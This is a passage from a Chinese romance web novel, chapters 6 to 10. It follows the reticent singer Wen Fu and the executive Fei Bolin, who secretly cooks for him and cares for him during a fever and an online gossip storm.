左手边是开在入口处的肯德基,温伏推开玻璃门,找到最偏僻的角落,在靠墙的单人桌前坐了下去。 桌上贴着二维码,他扫码点了两个鸡肉卷,随后蜷在椅子上,低着脖子,浑身重得像压了千斤顶,一动不动。 前台叫号叫了四五遍,他才抬起头,先动了一下胳膊,撑着桌子站起来,沉默而缓慢地拿了餐。 回到位置狼吞虎咽地吃完鸡肉卷,温伏重新戴上口罩,对着空空如也的餐盘发起了呆。 这时祁一川的电话打过来,温伏接起:“喂。” “温伏?” “嗯。” 祁一川挺着急的:“我问你,你昨天是不回锦城了?” 温伏点点头。 祁一川也不管听没听到回答,发炮弹似的追问:“是不是去了锦江那边?” 温伏又“嗯”了一声,声音已经低到近乎微弱的地步。 “你……哎!”祁一川问,“你现在在哪儿呢?” 温伏轻声说:“肯德基。” “哪个肯德基啊?” “学校。” 祁一川“啪”地挂了电话。 通话一断,温伏的大脑再度放空。 他握着手机,很清楚自己又该走了,像Stella总是提醒他的那样,作为一个上升期的明星,他现在是整个团队的中心,要为整个团队负责,不要私下随时暴露在大众视野,尤其是当前这种状态。 可他真是一步也迈不起来。 温伏浑身的力气好像在这个上午一下子被抽空,也许是多日连轴转的工作让身体消耗过度,总之他一根手指头也不想动了,决定在这里多坐几分钟。 被人认出来也无所谓,被私生找到也不想管,他现在只想休息。 温伏把手抱在胸前,垂着头,眼皮一阵沉过一阵,竟然就这么窝在椅子上睡了过去。 再醒过来就是祁一川在肯德基的这个旮旯里找到他的时候。 当 6. 第 6 章 [] “前几年有个明星出事儿,被爆出来一天的日薪是208万,后来网上就拿这个代指咱们了。”祁一川知道温伏不怎么上网,但没想到这么广为人知的事温伏都没听说过。 解释完以后他还是没忘记帖子里说的事,忙问道:“所以是真的吗?” 温伏摇头。 祁一川松了口气:“我就知道你不……” 温伏说:“我一天赚不到208万。” 祁一川:“……” “谁跟你讨论这个啊?”祁一川头都要大了,他戳戳手机,“我问的是这个楼里说的,你当时真骂周纪胖了?” 温伏再次摇头。 祁一川又松了口气。 温伏:“我说的不是周纪。” 祁一川:!!! “你还真骂人胖了啊?”祁一川追问,“你骂谁了?” 温伏没解释,低头去看评论区。 【[1楼]@宫二(不爱叶问版):终于有人注意到这个湖笔了啊,之前遇见过一次线下商演,全程冷脸,唱完歌就走,从此无感,每一个路过骂他的帖子我都要进来踩一脚[375赞] [2楼]@momo(已黑化):给楼主dd [3楼]@不爱我就拉倒回复 [1楼]@宫二(不爱叶问版):那么哥哥。。。他唱歌怎么样。。。声声入耳是修音还是真实水平。。。 [4楼]@宫二(不爱叶问版)回复 [3楼]@不爱我就拉倒:哥哥。。他唱歌还是可以的。。。当时我在的那个地方音响和收音设备都挺一般的,其他上台的歌手都唱得一塌糊涂,但是他。。很稳。。。就是脸太臭了[82赞] [5楼]@momo:乱中插。。。楼上两个哥哥的ID好有cp感[189赞] [6楼]@孙答应 回复 [5楼]@momo:支持宫二封心锁爱 [7楼]@sama:……好傲慢的208[219赞] [8楼]@momo:不想出电梯就直说,又要出又要摆脸色,估计助理回去要扣钱了……[355赞] [9楼]@我不是momo 回复 [8楼]@momo:啊啊啊啊哥哥。。打工人真的看不得这个。。。心疼助理1秒钟 [10楼]@年世兰(不吃酸黄瓜):原来是这位。。。之前追我担线下遇到过他粉丝接机,全程超级冷漠,一副很烦的样子,直冲冲就往车里走,一眼都不看粉丝,最后跟施舍一样对着粉丝挥了两下手。。。我说伏丝吃点好的吧[401赞] [11楼]@俺娘田小草回复 [10楼]@年世兰(不吃酸黄瓜):到底为什么这么恨粉丝。。。 [12楼]@闷油瓶(已回家):我前担。。。因为脸好看入坑又因为脸太臭脱粉。。从来没见他对粉丝笑过。。。不过有一说一唱歌还是不错的,我歌单里现在还有几首他的歌。。。天天循环[86赞] [13楼]@momo 回复 [12楼]@闷油瓶(已回家):你的文字。。还爱他。。[222赞] [14楼]@我担配享太庙 回复 [10楼]@年世兰(不吃酸黄瓜):那么恨粉丝还来内娱当什么208w。。。又要赚钱又不想媚粉[316赞] [15楼]@高启强(卖鱼版)回复 [14楼]@我担配享太庙:都208了媚媚粉怎么了,不会媚粉的208滚出娱乐圈[75赞] [16楼]@我担世女一:看了楼里被安利他的歌了,我去听听 [17楼]@叫我父亲大人:不会是来反炒的吧。。。目前为止什么证据也没有[166赞] [18楼]@momo[楼主] 回复 [17楼]@叫我父亲大人:我当时拍了照,但因为站在最里面,前面很多人,拍得比较模糊就没放出来[图片][457赞] [19楼]@八十万禁军总教头林黛玉回复 [18楼]@momo[楼主]:是戴口罩和毛线帽的那个吗?我好像见过 [20楼]@闷油瓶(已回家)回复 [18楼]@momo[楼主]:就是他。。。三年前我追线下他就穿的这件冲锋衣。。三年过去了还是在穿这件冲锋衣[59赞] [21楼]@冷七回复 [20楼]@闷油瓶(已回家):什么。。哥哥。。意思是他三年冬天都只穿这一件衣服吗。。。 [22楼]@闷油瓶(已回家)回复 [21楼]@冷七:还有一件黑色的。。羽绒服。。。两件换着穿。。】 温伏瞅了一眼自己身上的羽绒服,想起自己那件被周纪换走了,遂继续往下翻。 【[23楼]@徐俊大回复 [19楼]@八十万禁军总教头林黛玉:哥哥也在线下见过吗。。也是黑脸不理人吗。。还是什么别的意思。。。 [24楼]@八十万禁军总教头林黛玉回复 [23楼]@徐俊大:不是,是在我哥的手机里,很多年前,在酒吧的一张照片,因为眼睛太好看了所以我当时有印象,不过我不确定,等我哥回来我让他再给我看看 [25楼]@徐俊大回复 [24楼]@八十万禁军总教头林黛玉:好像有瓜的样子。。等你。。。哥哥。。莫辜负[216赞] [26楼]@百里屠苏(已殉)回复 [22楼]@闷油瓶(已回家):好抠搜的208w。。。 [27楼]@混血王子西弗勒斯回复 [26楼]@百里屠苏(已殉):这不叫抠搜吧。。。我也是冬天两件外套换着穿啊。。因为没钱/emoji[/:流泪][302赞] [28楼]@百里屠苏(已殉)回复 [27楼]@混血王子西弗勒斯:可是他是明星啊,最起码的形象管理要有吧,多买几件衣服的钱都舍不得出吗。。粉丝今天接机拍冲锋衣,明天接机拍羽绒服,后天接机又是冲锋衣,穿三年淘宝同款都滞销了他还没脱下来,站姐的行程图都查重率百分百了。。。难怪吸不到粉[12赞] [29楼]@曹孟德(盖饭中)回复 [28楼]@百里屠苏(已殉):没有为208说话的意思但是这年头明星衣服少都要被骂了吗/emoji[/:流汗][179赞] [30楼]@百里屠苏(已殉)回复 [29楼]@曹孟德(盖饭中):我的意思难道不是他对粉丝不够负责吗,完全不进行形象管理,谁愿意大冬天在机场等两三个小时就看见个行走的冲锋衣啊】 剩下九十多层全在为“温伏冬天只有两件外套究竟是对是错”的问题而吵架,整栋楼歪到了爪洼国。 楼里那些论坛语温伏基本都看不懂,他把手机还给祁一川,低垂着眼不知在想什么。 祁一川问:“你怎么看?” 温伏沉思了两秒:“有点饿了。” 祁一川:? 应该说之前那两个鸡肉卷温伏就没吃饱。正当他扫码要再点餐时,被祁一川拦住:“该走了。” 两个人交谈的这会子功夫,周围已经有不少顾客在频频往这边望,也有的直接暗地里举起手机在偷拍。 作为同为娱乐圈的艺人,祁一川比温伏红得早,也更出名些。 毕竟温伏是专攻一个赛道的歌手,而且典型的歌比人红,祁一川就不一样,大学被星探抓去拍广告,后续演了一部古偶一炮而红,这几年演的全是各种大IP的主角,爆剧有,热播剧也有,走在街上随时都有可能被人认出来。 两个人一同离 7. 第 7 章 [] 仅仅只有一秒,铃声就消失了。 温伏骤然起身抬头,三楼窗口处只有一抹残影转瞬即逝,密不透风的房屋里,留了一线缝隙的窗帘在玻璃后轻轻摇荡。 冬风在耳边哨子似的呼号,温伏紧盯着那一线间隙,企图透过那扇窗户看清里面的情形。 半晌,他轻声道:“薄哥?” 周遭一片寂静。 “……费薄林?”温伏的喊声里多了一丝质问。 无人回应。 温伏收回目光,一转头又坐了回去。 这次他更沉默,坐得更久。天色渐渐暗下来,温伏丝毫没察觉到自己的体温在持续走高,席卷身体的疲乏感已将他吞没,温伏的头压得低低的,呼吸滚烫间,也不知是睡了过去还是晕了过去,意识就此模糊了。 朦胧间好像有个黑影停在了他面前,温伏想要睁眼,可灵魂像被禁锢在了身体里,拼尽全力也无法抬头。 他听见一声叹息,额头覆上温暖的触感,接着身体盖上了一件外套,随即被人抱起来,不知要往哪里去。 温伏的鼻子灵得很,虽然眼睛睁不开,可他在对方靠近的第一秒就闻出了费薄林的气息。 他费力地发出一声低吟,把脑袋往对方身上蹭了蹭。 再醒来就是昏暗的车上,天俨然黑了,温伏躺在后座,枕在谁的腿上。兴许是怕温伏被颠下去,那人始终用手搂着他的身体,另一只掌心垫在他的后脑下,免得他枕得不舒服。 晚高峰时间段,司机在路上时走时停,费薄林注视着前方,微微蹙眉,车窗外各色灯光在他脸上闪过,温伏抬眼时正看到他紧绷的唇角。 喉咙里火辣辣地烧得厉害,温伏试着开口,发不出半点声音。 听说人烧到了一定地步就会变成傻子,小时候发烧他也时常分不清现实与梦境。 可他很想知道现在的一切是否又是幻觉。 于是他悄悄抬起手,伸出食指,冰凉的指尖熟稔地摸到费薄林下巴处那个细小的伤疤。 经年的疤痕有微微不平的触感,温伏在漆黑的车厢里目光有些失焦,指腹贴合着那一块皮肤,全凭感觉在疤痕上来回摩挲着。 他的指尖挨上费薄林下巴那一瞬,对方已然僵住。 先前光顾着车流的速度,费薄林全然没注意到温伏的醒来。 大概是不愿意把焦灼的情绪传递给温伏,费薄林的眼神在这一刹柔和下来,如水般平静地垂下眼看向温伏,接着他试着把手从温伏的脑袋下抽走,握住温伏抵在他下巴上的指尖按回怀里。 “医院就在前面。”费薄林的手放在温伏头顶,拇指一遍一遍擦过他的额头,声音很轻很缓和,像只有温伏能听见,“再等一会儿,就快到了。” 温伏懵懵懂懂地“嗯”了一声,微弱得跟蚊子叫没区别。 费薄林五指修长,足够把温伏整个手掌包在其中。温伏被一股久违的气息裹住,那是十年前窝在费薄林亲手给他铺好的被子里才有的归属感。 他动了动干燥的嘴唇,呓语似的跟费薄林打商量:“薄哥……不吃药好不好?” 这点动静在费薄林眼里只是温伏无声地用一头乱糟糟的头发往他腰上顶了顶而已,完全听不到一点声音。 他理了理温伏额前的碎发,免得发梢扎到温伏的眼睛,理完了就继续盯向前方路况。 温伏没等到费薄林的回答,睫毛抖了两下,无声地呢喃着自己都不清楚的呓语,阖上眼再度睡去。 由于路上太堵,费薄林让司机就近选择了一家公立医院,一下车就去挂了急诊。 恰逢年末,发热门诊门外人多得无从下脚。抽了血做完检查,医生只说温伏是过度劳累导致的免疫力下降,加上受了寒,才发起了高烧,好不容易开了单子,医院床位短缺,费薄林只能抱着温伏坐在医院的椅子上等护士来打吊针。 期间温伏一直处于意识模糊的状态,人烧迷糊了,费薄林扶着,能走,会看路,但基本不怎么吭声。 护士做了皮试后扎针,瓶子一挂,水速调好,温伏眼巴巴撑到护士离开,头一歪,彻底昏睡过去。 医院楼道为了通风两头开窗,费薄林给温伏身上盖了外套,可身下的铁皮椅子却无比冰冷,加上药水很凉,温伏靠在费薄林肩头,总是时不时皱眉呻/吟。 这样下去不是办法,何况消炎药和抗生素打进身体胃也会不舒服,费薄林正准备打电话让助理送来衣毯和食物,倏忽想起中午在谢一宁手机上看到的那个帖子。 费薄林想,他需要回那个小区的房子里取一些东西。 房子的密码只有他和苏昊然知道,但苏昊然一般这个时间点都在哄谢由睡觉。这一趟他得亲自跑。 指尖划过屏幕,费薄林把电话打给了Stella。 - 四十分钟后,温伏在医院的走廊上苏醒。 后脑勺硌得又冷又疼,他正微仰着头,靠在铁皮长椅的椅背上,旁边坐着周纪。 温伏转动睡得麻木的脖子,看见自己身上盖着一件女式环保皮草外套。 “醒了?”周纪原本也在他旁边打瞌睡,听着动静,眼还没睁全就先问温伏,“烧退没有?感觉怎么样?” 边说边用手背去挨温伏的额头:“别躲。” 温伏还是不易察觉地往后躲了一下,周纪摸完他的额头打了个哈欠:“还有没有哪儿不舒服?” 问完半晌,温伏都不吱声。 周纪奇怪,一转眼,瞧见温伏正对着自己若有所思。 “怎么了?”周纪看了看自己的胳膊腿,“你盯着我做什么?” 温伏开口,嗓音还是沙哑的:“你一直在这儿?” 周纪莫名其妙:“不然呢?” 温伏:“你把我送来的?” “那不是。”周纪打开温伏日常用的保温杯递过去,示意对方喝水,“黛姐把我叫过来的,说是她还有会,让我过来照顾你。应该是她送你来的吧。” “喏。”周纪扬扬下巴,“你身上盖的不就是她的外套吗?” 温伏就着周纪的手喝了口热水,嗓子里好受了点,又低头去看身上的外套,确实是Stella冬天私下里最爱穿的一件,因为够大够长,又很保暖,只要不出席正式场合她都裹着这件穿。 “没有别人了吗?”温伏又问。 周纪觉得温伏今晚的话额外的多,以前别说提问,就是回答别人的话都惜字如金来着。 难不成发烧还烧出个第二人格来了? “没啦。私生都找不到你在这儿。”周纪仰起脖子瞅瞅温伏的吊瓶,还有三瓶小的和两袋子不知道是什么的药水,估摸着今晚时间还长,就问温伏,“饿不饿?” 温伏摇头。 发烧的人体内酶活性降低,几乎不会有食欲,但东西该吃还是得吃,能量需要补充。 周纪揉揉鼻子:“我出去给你买碗炒饭吧,顺便抽支烟。” 温伏对着身上的外套出神,没有说话。 周纪瞧他不拒绝,就自顾往外头去了:“我就在楼下,有事儿给我打电话啊。” 医院外的停车位上停着Stella留给他们的车,因为那场会议来得比较急,Stella临时叫来周纪,又担心温伏打完针不方便回家,干脆自己叫了个出租,让周纪把她的车开走,还特意嘱咐周纪记得把车里的东西给温伏,就说是她买的。 周纪来的时候没仔细看,只管接了车钥匙,现在下楼抽烟 8. 第 8 章 [] 温伏在周纪的监视下,坐在饭桌边把药吃了。 吃完他扭头看向周纪。周纪说:“张嘴。” 温伏张嘴,周纪确定他没在嘴里藏药后,把手往兜里一揣:“得,我走了。” 走了两步他又回来,从包里掏出一个东西递给温伏:“差点忘了,Stella在大慈寺给你求的平安符。” 温伏接过,对着平安符左看看右看看,一副若有所思的神色。 “奇怪吧,”周纪以为温伏跟他一样不理解,“她每年都去白云寺求财,这回竟然跑大慈寺去了,还求的什么平安符,年纪到了养生血脉觉醒了?” 温伏没接话,把平安符放到鼻子面前闻了闻,脸上疑惑的神色更重了。 好像有费薄林的气味。 他忽然想起什么,抬头问周纪:“我的衣服?” “在我家呢,”周纪说,“今天没来得及送去洗,明天给你洗了送过来——说起这个,你还在兜里偷偷藏饼干呢?” 温伏想说的正是这个:“不要吃我的饼干。” 倒不是因为他要吝啬这口吃的,只是那块饼干是粉丝特意送的,费薄林曾经教他,这样的礼物转手给别人是一种不尊重。 “放心吧,”周纪退后两步,拿出手机把温伏和他旁边吃完的药片水杯一起拍了个合照,准备待会儿发给Stella交差,“你好不容易能背着黛姐藏点口粮,我可不抢你的。” 临走前他往四周瞧了一圈,顺便把温伏家里的垃圾给一起带下楼扔了。 回到车里,周纪把照片发给Stella。 Stella回复收到后,随手转发给了费薄林。 【Stella:[图片]】 【Stella:监督着吃完药了,费董放心】 【Lin:有劳黛姐】 页面往上滑,是二十分钟以前两个人的对话: 【Lin:小伏不太会做饭,这几天我准备好餐食,黛姐费点心,让人来取了送过去】 【Stella:我也不会做饭啊费董[/笑哭]】 【Lin:可以说是助理做的】 【Stella:[/ok]还是费董想得周到】 【Lin:他吃药的时候会假装把水吞下去等人走了再把药吐出来】 【Stella:[/ok]我叫人盯着】 - 没演出的这几天,温伏在家查文献,写论文,做谱曲作业,吃饭,睡觉。 偶尔想想费薄林。 飞北京的倒数第二天,Stella还是对目前为止能为温伏借到的礼服感到不满意。 她一边联系跟自己有交情的造型师一边跟公司打电话吵架:“……我的人脉?我是有人脉,我也在找人联系,可我人脉再广也不能一手遮天吧,你知道男款高定有多难借吗?造型师和品牌方再给我面子也不能说给就给啊,人给了温伏高定,转头比温伏时尚咖位大的、跟品牌友好度比温伏高的也来借怎么办?品牌方又不是做慈善的。这会儿你们知道急了?前几天论坛开黑贴嘲了几百楼的时候没见你们急呢?那么有损艺人时尚形象的帖子都舍不得花钱公关,还是人家思服传媒出面解决的。什么便宜你们都想占,不就是巴不得红毯走好了多谈几个商务吗?着急?着急你们直接给温伏买一套高定啊。” 一通输出过后,没等对面回话,Stella啪地按向结束通话键。 在这位昔日的王牌经纪人气不打一处来的同时,事件中心的主人公刚踏进自己代言的眼镜品牌专柜。 因为今天是私人行程,没有粉丝跟拍,温伏仍穿自己以前的旧衣服,浑身裹得严严实实,只露了双眼睛出来负责在柜台挑选查看。 那晚在CBD第一次见面他就注意到,费薄林戴的还是八年前自己送他的那副眼镜。尽管对方护理得很用心,但金色的镜框依旧有一些磨损。 温伏在柜台上挑了一副差不多的款式,金色比之前那副稍微深些,看起来低调儒雅又不失贵气。 结账时柜姐给他报价:“这边加上镜片一共是6780元。” 他正要付钱,忽然问:“代言人是不是有折扣?” 柜姐愣了愣:“是的。” 温伏把口罩摘了下来。 即便用了折扣,这一副眼镜还是比温伏一身的行头加起来贵。 三分钟后,他提着用折扣价买的新眼镜坐上去往CBD写字大楼的出租车。 思服传媒的另一个总部在北京,锦城的总部大楼正在设计中,写字楼的二十到二十三层是思服目前的工作室。 温伏去到前台,说要找费薄林,意料之内的因为没有预约而被拒之门外,只能在待客区等费薄林行程的间隙时间再让前台联系。 他没有多做争辩,留了电话和名字就坐到了待客区的沙发上,接着便是长达二十分钟的静默。 温伏习惯性地老僧入定,几乎一动不动地对着茶几上的一次性纸杯发呆。 直到那天一起开会的张特助经过,无意间多往他身上看了两眼,心里吓一跳,走上前低声询问:“是温伏吗?” 温伏从帽檐下抬起眼,认出张特助后,点了点头。 张朝作为董事特助,公司合作对象的舆情监测也是他工作的一部分。那天论坛那张帖子发酵,他还没来得及请示费薄林是否进行干预,就提前接到了费薄林的电话要求他立马联系论坛管理处理这件事。 对于这种小事,身为特助做不到闻风而动,第一时间把握动向,还被顶头上司先一步出手下达命令,这已然是他的失职。 后来张朝去到费薄林办公室,心里提前做好了检讨,打算先询问对方是否需要他这个当事人亲自出面澄清关于电梯里那一场误会,等费薄林同意后再做弥补。 哪晓得费薄林只是揉了揉鼻梁,笑着问他:“你打算怎么澄清?” “就说……”张朝顿了顿,自己倒是没考虑到这个方面,于是一下子又心虚了,“说……温伏没有骂我胖。” 费薄林含笑看着他:“然后呢?” 其实说出前一句话那一刻张朝就后悔了。 然后?告诉大家温伏不是说他胖,而是说他重?那有什么区别? 又或者直接谎称温伏什么也没说?那晚在电梯那么多人都听到了,待会儿又冒出个在场的人发个视频或者匿名帖子来证明这件事,再传出些温伏拿钱公关当事人之类的谣言,只会越抹越黑。 这事本身就没有澄清的余地。 张朝低头:“抱歉,费董。是我思虑不周。” 费薄林当时只是摇头:“不是你的错。” 等张朝离开办公室关门时,费薄林忽然叫住他:“张朝。” 他不明就里地回头,等着下文。 “小伏的话……你不要放在心上。”费薄林摘下眼镜,指尖轻轻擦拭着镜框,像是在自说自话,又像在替温伏解释,“他不是那个意思,只是不太会表达。” 敏锐而聪慧的张特助回去之后隐隐从这个画面中品出一丝不对劲来。 今天见到温伏之后,他进一步确认了那一分不对劲! “你找费董?”张朝不知道为什么,明明温伏年纪也说不上多小,可他自打听了费薄林说的那一声“小伏”以后,自己也有点把温伏降辈儿对待了,说话都下意识放轻语调,弯腰凑过去,跟哄弟弟似的,“你有什么事吗?” 温伏两颗眼珠子乌漆漆的,看着张朝,眨了一下,又眨了一下。 他本来是有一件事的,但是现在张朝来了,他的事又多了一件。 温伏略微斟酌了一下,决定先说另一件。 张朝被他直勾勾地看得不自在,正自讨没趣准备起身离开,忽然听温伏说:“对不起。” 张朝先是怔了一秒,随即怀疑自己听错了:“什,什么?” “对不起。”温伏直白地又重复了一遍,声音隔着一层口罩传出来,“那天不该说你重。” 如果不是论坛的那张帖子,他确实不知道那样的话是不礼貌的。 温伏的眼睛黑白分明,那里面投射出一种近乎孩子般纯粹的目光,没有扭捏、憋屈,也没有闪躲,就是用陈述事实般的语气认真地说着道歉的话。 张朝简直有些不知所措。 从踏入社会后他几乎没听过这么直接的表达,好像人与人之间早己有了一种默认的规则,表达歉意可以是送礼,可以是吃饭,可以是任何伴随 9. 第 9 章 [] 费薄林轻轻把温伏按下去,指尖埋在温伏的发丝中,有意无意地按揉着。 他腾出另一只手接过张朝的钥匙,后者很有眼力见地退出了铁门。 这下终于得了空,温伏刚要说话,就听费薄林问:“吃饭了吗?” 温伏只能先把话咽下去,点点头,依旧是又小又快的声音,机器人般平淡的语调:“吃了豆子炒肉,糙米饭,土豆丝和上海青——青椒没有吃完。” 费薄林听他一一汇报完,又抢在温伏下一次开口前问:“牛奶和水果呢?” 温伏交作业似的一五一十说:“喝了一盒菊乐。” 没交代水果,自然就是没吃。 今天费薄林给他准备的随餐是火龙果,温伏喜欢吃又脆又甜的东西,不大爱吃这个。 没得吃的时候他什么都不挑,吃饱了自然就把不想吃的留到一旁。 为了照顾温伏的口味,又怕被温伏瞧出来,费薄林每顿饭会给温伏做一些对方不喜欢又无关痛痒的食物,比如今天炒菜里的青椒和餐后的火龙果。 温伏第三次准备开口时,又被费薄林抢了先:“黛姐说你前几天生病了,好些了吗?” 这次温伏没有回答。 他盯着费薄林看了一会儿,迟钝地察觉到对方这是在有意打断他说话。 他暂时没想明白费薄林这样做的原因,于是低下头,沉默不语。 果不其然,费薄林见他不吭声了,似乎松了口气,但神经仍然是紧绷的,提防着周围是否存在狗仔拍照:“我待会儿还有个会,现在要离开。先让司机开车送你回去,好不好?” 他没给温伏拒绝的余地,只是顿了顿,又不放心,往外喊道:“张朝。” 喊的同时,费薄林把放在温伏头上的手放了下来。 其实他很想再多放一会儿,但两个人接触得越久,被拍到的可能性就越大。 张朝闻声赶来,费薄林示意他带温伏出去:“让司机开到云河颂,你跟到家再来找我。” 费薄林清楚,温伏一向最听话不过,即便他心里再不解,还是会跟着张朝往外走。 岂料快走到门口时,温伏毫无预兆地回头。 “我明天想吃打卤面,”温伏缓慢地说,“你会给我做吗?” 费薄林愣住。 原来温伏从一开始就知道自己每天吃的饭都是他做的。 他不说话,温伏就一直看着他。 直到费薄林首肯似的点了一下头,温伏低下眼睫,踏出门外。 十分钟后,费薄林坐上回公司的另一辆车,准备去见突然造访的不速之客。 见到温伏的五分钟前,他接到秘书的电话,许威又来找他了。 所以原本他就是要把剩下的事跟货仓负责人简单叮嘱后直接赶回公司的。 回去的路比来时更耗费时间,他闭上眼,仰靠在后座上,左手有一下没一下地捻着指尖。 那里还残留着温伏头发的温度。 费薄林不断回忆着刚才把手放在温伏头顶的感觉,脑海中却不受控制地闪过无数个不该出现的画面: 他的手从温伏的头顶移向耳后,温伏的耳朵薄薄的,背光时能看见隐隐的血管和短小的茸毛,耳垂上有点肉,一捏就泛红;随后他会捏住温伏的肩,把温伏拥进怀里,温伏的骨架小,骨骼纤细,肩头的弧度都像是为了契合他的掌心而生长的,刚好能让他握住,接着他会用濒死挣扎的力气圈紧温伏,没人比他更了解,那件冲锋衣下是一具如何纤细伶俐的身体,红的红白的白,干净光洁得像一匹绸缎。他会把温伏揉进自己的骨头里,抱紧,亲吻,从额头吻到眼睛,再从眼睛吻到嘴唇,吻遍每一个地方,不会用那种客气轻柔的方式,他要用一点恰到好处的力气叫温伏吃痛,痛到一次次小声喊他“薄林哥哥”,痛到刚好眼泪悬在眼角难以滑落,最后再把温伏—— 费薄林长长吐出一口气。 都是幻想。 他比谁都清楚,温伏那样的眼神,无限靠近的举动,都是因为温伏只把他当久别重逢的哥哥。 是他心思不干净。 既然心里已经不干净了,手上就不能再不干净。 那些不堪入耳的念头和想法还没来得及从他脑中抹煞,公司便已经到了。 司机下来给他开门,费薄林一动不动,坐在位置上平复了半晌才睁开眼,目光又沉又暗。 跨出车门后,他先把眼镜包装袋交给等在楼外的秘书:“放到我桌上,谁也不要动。” 随即干脆利落地朝电梯走去:“人在哪儿?” 秘书接过包装袋跟在后头:“二十三楼接待室。” 费薄林去到二十三楼,刚进接待室,先看到许威身后站着的两个保镖——这是秘书安排的,防止许威在情绪激动的情况下做出意外举动。 “又来了。”费薄林拉开椅子坐到许威对面,双手搭在扶手上交握身前,一副处变不惊的神色,“知道我回来了,一天也耐不住?” 费薄林从国外回来以前,许威都是去骚扰谢一宁和苏昊然,那俩人没费薄林有耐心,一开始还会应付应付,发现许威这人死皮赖脸之后就是直接打一顿扔进车里让司机送走。 许威终于见到了人,哪顾得上这话里的嘲讽。他先是按耐不住,直接从椅子上站了起来。后方保镖当即上前一步,他又忍住走过去的冲动,嗫嚅着道:“我……你舅舅他们,日子真的要过不下去了。” 他年纪其实跟费薄林相当,左不过二十七八岁,长得也还算周正,但总给人一种老气横秋的感觉,一见到费薄林,更要故作凄凉之态,微弓着背,满脸苦哈哈的神情,仿佛是费薄林害得他们这档子穷亲戚过得如此难堪似的。 许威絮絮叨叨地说:“六年了,三四口人挤在那旮旯大点的房子里,全靠你舅妈开一家面馆养活。成日天不亮她就要去菜市场买菜,连个三轮车都支不出多余的钱来,满满一篓菜,把她背都压驼了。那房子也潮,一到下雨天她不是腿疼就是手腕疼,煮面煮出腱鞘炎了也不敢休息。这几天入冬,家里头沙发冷得跟铁板一样,根本睡不下人。你舅妈半夜翻来覆去地睡不着,浑身疼,叫她买床电热毯也舍不得买。薄林,我们如果不是没办法了,实在不会来找你啊。” 费薄林静静地听完,低头抚摸自己的袖扣:“她那么累的时候,你在干什么?你爸在干什么?” “我……”许威一时哑口。 他哭诉时对着费薄林一口一个“你舅舅”、“你舅妈”,绝口不提那是自己的亲爹亲娘,仿佛最该对他嘴里的人负责的人是费薄林似的。 许威自然说不出口,他妈凌晨五点起来赶菜市场的时候,他还在家里唯一可以称得上是房间的床上呼呼大睡;他妈在面馆煮面煮得头昏脑胀的时候他在网吧玩得昏天黑地。 他对自己的情况闭口不谈,转而给自己父亲辩解:“你知道的, 10. 第 10 章 [] 处理完许威,费薄林先回到办公室用半个小时的时间观赏并换上温伏给他买的新眼镜,然后自己开车去生鲜超市买了许多明天做打卤面要用的食材。 与此同时,张朝送完温伏后第一时间打来了电话。 费薄林一边挑选食物一边接起手机:“……不用回公司,先在小区帮我取几样东西,然后联系Stella,找人给她搬过去,就说是以我个人名义送的……地址和密码我发给你,东西在衣帽间左手第二行那四个展示柜……” 张朝在电话那边把费薄林说的话一一记下,正要挂电话时,费薄林又突然开口:“……你今天什么也没看见。” 张朝愣了一秒,以为对方指的是温伏的事。 两个人结束通话,张朝很快收到费薄林编辑好发来的地址。 很意外的是,费薄林要他取东西的地方就在温伏的住的云河颂,甚至似乎就是对面那栋矮式平层。 两栋楼的距离比较远,张朝步行了半个小时才走到那栋楼的入口,按照费薄林给的消息上到三楼,一进门,张朝就惊在了原地。 这套平层套内面积估计在两百平左右,房子很封闭,连窗帘都关得十分严实,像生怕有谁窥探到内部的模样似的。 重点是,这套房子里,没有一样家具。 只有原本该是客厅中央的位置放着一把椅子,椅子对面是一道白墙。 而房子的其他地方,几乎堆满了琳琅满目的物件。 光是钢琴,客厅就有两架。 玄关进来有一处挂着巨大的蝴蝶壁画,壁画下方摆了一排的吉他,张朝看了看,只有两三把是他认得出来的品牌,每把均价大概在一百五十万左右。 吉他旁边放着三架小提琴,依然是张朝没有见过的牌子,只是直觉看着应该价值不菲,至少没比一旁百来万的差到哪里去。 靠着墙角有一个非常宽的展示柜,防尘玻璃里是分门别类的手办和各个系列的盲盒,基本都是限量版,张朝估算了一下,约摸有七八百个,不算很多,但也不少。 到这里他才开始疑惑,照他对费薄林的了解,对方多种乐器都有涉猎是正常的,但费薄林绝不喜欢手办之类的东西,甚至对任何一部动漫不会多看一眼。 房子里的东西初看他还有些耐心和兴趣,多看几样张朝就乏味了——百分之八十都是乐器,不同牌子的,不同材质的,漆面的哑光的限量的联名的纪念版的……费薄林简直是天南海北地搜罗出了一个小型展览馆。对了,还有一个书架,书架上是各种版本的《哈利波特》,不仅有原著,还有刻成光盘的影碟,架子顶层是千奇百怪的飞鸟的倒模。 客厅的地上铺满了东西,但全都放置得井然有序,甚至专门留了一条通往房间的路。 这套房子很明显为了节省空间而拆去了几道非承重墙,张朝路过那面一尘不染的白壁时不免多看了几眼——在这样富丽堂皇的房子里,朴素的白墙未免太过突兀。 但是他没有因为好奇心去探索原因,恪守着职业本分,只往费薄林告诉他的那个房间去。 经过第二架钢琴时,他无意间瞥到钢琴上摆放着的两幅相框。 张朝扫了一眼,正要迈步向前时,忽然顿住脚,往后退了一步,凑到相框前面。 两幅相框,一张是费薄林的高中毕业大合照,还有一张…… 张朝:!!!! 天杀的,这不是他家小温伏吗?! 怎么跑到费董的相框里来了? 还穿着校服! 他都没有见过穿校服的温伏,费董的相框里怎么会有!还有后面那个…… 等等。 张朝的目光在后面那个人脸上停留了一秒,不,只有半秒。 !!! 这不是费薄林还能是谁?! 不对劲,十分有十二分的不对劲。 张朝屏住呼吸,往后拉远了自己和这两张照片的距离。 合照里两个人都是十七八岁的样子,身穿蓝灰相间的校服,背景是公立高中学校特有的白色砖墙。 那时候的费薄林还没有现在让人退避的压迫感,脸上神色更多是一种柔和的笑意,也没戴眼镜,看起来只是一个相貌出众平易近人的邻家哥哥。 温伏则大不相同。 也不知是不是拍照的时候心情不好,镜头里的温伏脸色冷冷的,连眉头都轻轻皱了起来,校服领子拉到最高,恨不得遮住自己下半张脸——不过还好费薄林搭在他肩上的手悄悄伸出一根手指把领子勾下去了一些,镜头才得以照到温伏整张脸。 唯一不变的只有那头乱糟糟的头发,照片里温伏的发顶上还翘着一根呆毛。 张朝转而去看后方的大合照,很快在最后一排正中间看到了费薄林。 但却没找到温伏。 张朝来来回回看了两遍,都没看到温伏。 他又转而看向双人合照,确定两个人的班牌都是12级6班后,再看向大合照,依旧没发现温伏的影子。 张朝带着满腔疑惑走到衣帽间,去找左边四个展示柜的东西。 